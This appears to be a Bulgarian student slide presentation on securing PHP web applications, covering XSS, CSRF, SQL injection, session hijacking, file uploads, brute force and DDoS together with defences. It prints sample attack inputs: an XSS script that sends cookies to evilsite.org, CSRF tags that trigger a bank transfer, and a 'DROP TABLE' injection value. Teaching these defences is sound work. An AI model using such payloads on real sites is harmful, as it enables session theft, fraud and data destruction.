Upload
eismail
View
168
Download
8
Embed Size (px)
DESCRIPTION
Защита при създаване на PHP-приложения в Интернет
Citation preview
Изготвил: Енис Исмаил, ф. номер: 12109
Проверли: доц. д-р Стефан Дражев, ас. Радка Начева
Икономически университет – ВарнаЦентър «Магистърско обучение»
Катедра «Информатика»
Защита при създаване на PHP-приложения в Интернет
Нужда от защита на уеб-приложенията?
Семантични атаки
Любопитството увеличава мотивацията при много атаки и семантичните атаки са един от най-добрите примери за това. Представляват модифициране на URL с цел получаване на данни, до които потребителят не би трябвало да има достъп.
Пример:
www.domain.com/view_invoice.php?id=1000523
www.domain.com/view_invoice.php?id=1000413
Защита:
Проверяване дали потребителят има право да прочете/запише съответната ифнормация.
Използване на трудни за отгатване идентификационни низове.
Атаки чрез качване на файлове
Атаки чрез качване на файлове
Опасности:
Качване на файлове, съдържащи зловреден PHP или JavaScript код и изпълняването им в системата.
Натоварване и блокиране на сървъра чрез качване на прекалено големи по размер файлове.
Защита:
Позволяване за качване само файлове с определени разширения като jpg, jpeg, gif, png, pdf, doc, docx.
Ограничение на размера на файловете, които могат да бъдат качени.
Премахване на execute флага в привилегиите за папката, където се съхраняват качените файлове.
Промяна името на качваният файл.
XSS атаки
XSS атаки
XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни са да поразят уеб-приложения от всички платформи, и PHP уеб-приложенията със сигурност не са изключение.
<script> document.location = 'http://evilsite.org/steal.php?cookies=' + document.cookie</script>
XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за предотвратяване. Единственото, което трябва да се направи е получените данни да се филтрират подходящо преди записването им в базата от данни.
Използване на функции за екранизация на данните
Задаване на session.cookie_httponly = True в php.ini
Brute-Force атаки и Dictionary атаки
Brute-Force атаки и Dictionary атаки
Brute-force е атака, при която атакуващият изпраща множество заявки към сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя правилна комбинация. Използват за намиране на сравнително прости по сложност пароли. За по-сложни пароли, включващи думи с определено значение и т.н., се използват Dictionary атаките.
Защита:
Използване на по-сложни пароли
Използване на Captcha
Лимитиране на броя заявки за определен период от време
Фиксиране достъпа до акаунти по IP адрес
Отĸpaдвaнe нa cecия (session hijacking)
Отĸpaдвaнe нa cecия (session hijacking)
Сесията се открадва чрез получаване на идентификационният номер за сесията, който се пази в браузъра на клиента.
Начини за открадване:
Чрез предсказване на ID на сесията
Чрез подслушване на комуникационния канал
Чрез фиксиране на ID на сесията чрез URL или XSS атака
Защита:
Използване на криптирана връзка – SSL (Secure Socket Layer)
Често подновяване ID на сесията
Сравняване на IP и/или User Agent информацията на клиента
Фалшификати на заявки (CSRF)
Фалшификати на заявки (CSRF)
CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде изпълнена, тъй като тя би изглеждала напълно валидна.
<a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж тази картинка!</a>
<img src="http://bank.com/transfer.do?acct=HACKER&amount=1000" width="1" height="1" border="0">
Защита:
Използване на произволен низ (token) във формата или линка
Искане за повторно въвеждане на парола (или Captcha)
SQL инжектиране
SQL инжектиране
SQL инжектирането е техника за атакуване на приложения, използващи SQL бази от данни, чрез вмъкване на злонамерени SQL команди в заявките, генерирани от приложението.
Най-често SQL инжектирането се използва за постигане на следните неща:
Прочитане на данни
Промяна на данни (запис, модифициране, изтриване)
Изпълняване на администраторски операции на базата от данни, например спиране (shutdown) на цялата БД.
SQL инжектиране
Пример:
Заявка в PHP:
$query = “SELECT * FROM students WHERE fnum = '$query'”;
Изпълнена заявка в MySQL след въвеждане на стойност „086012“:
SELECT * FROM students WHERE fnum = 086012
Изпълнена заявка в MySQL след въвеждане на стойност „1; DROP TABLE students “:
SELECT * FROM students WHERE fnum = 1; DROP TABLE students;
SQL инжектиране
Начини за защита от SQL инжектиране:
Използване на параметрични заявки, където структурата на заявката е отделена от подаваните параметри. За целта се използва PDO разширението.
Използване на процедури, като параметрите се подават отделно.
Екранизиране на всички входни данни, използвани в заявките.
Валидиране на данните, преди да бъдат използвани в заявките.
Ограничаване на привилегиите за използване на БД за всеки акаунт.
Атаки за отказ на услуга (DDoS атаки)
Атаки за отказ на услуга (DDoS атаки)
Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертва), да бъде направен недостъпен за целевите му потребители. Обикновено жертви на такива атаки стават популярни уеб сървъри, като целта е те да станат недостъпни.
DDoS атаките биват два основни вида:
Принуждаване на жертвата да се рестартира или да потреби всичките си ресурси, така че вече да не може да предоставя целевата услуга;
Възпрепятстване на комуникацията между жертвата и целевите потребители на услугата, така че те вече да не могат да я достъпват адекватно.
Начини за предпазване:
Осигуряване на достатъчно ресурси на сървъра;
Използване на хардуерни защитни стени, филтриращи трафика преди достигне до сървъра.
Благодаря за вниманието!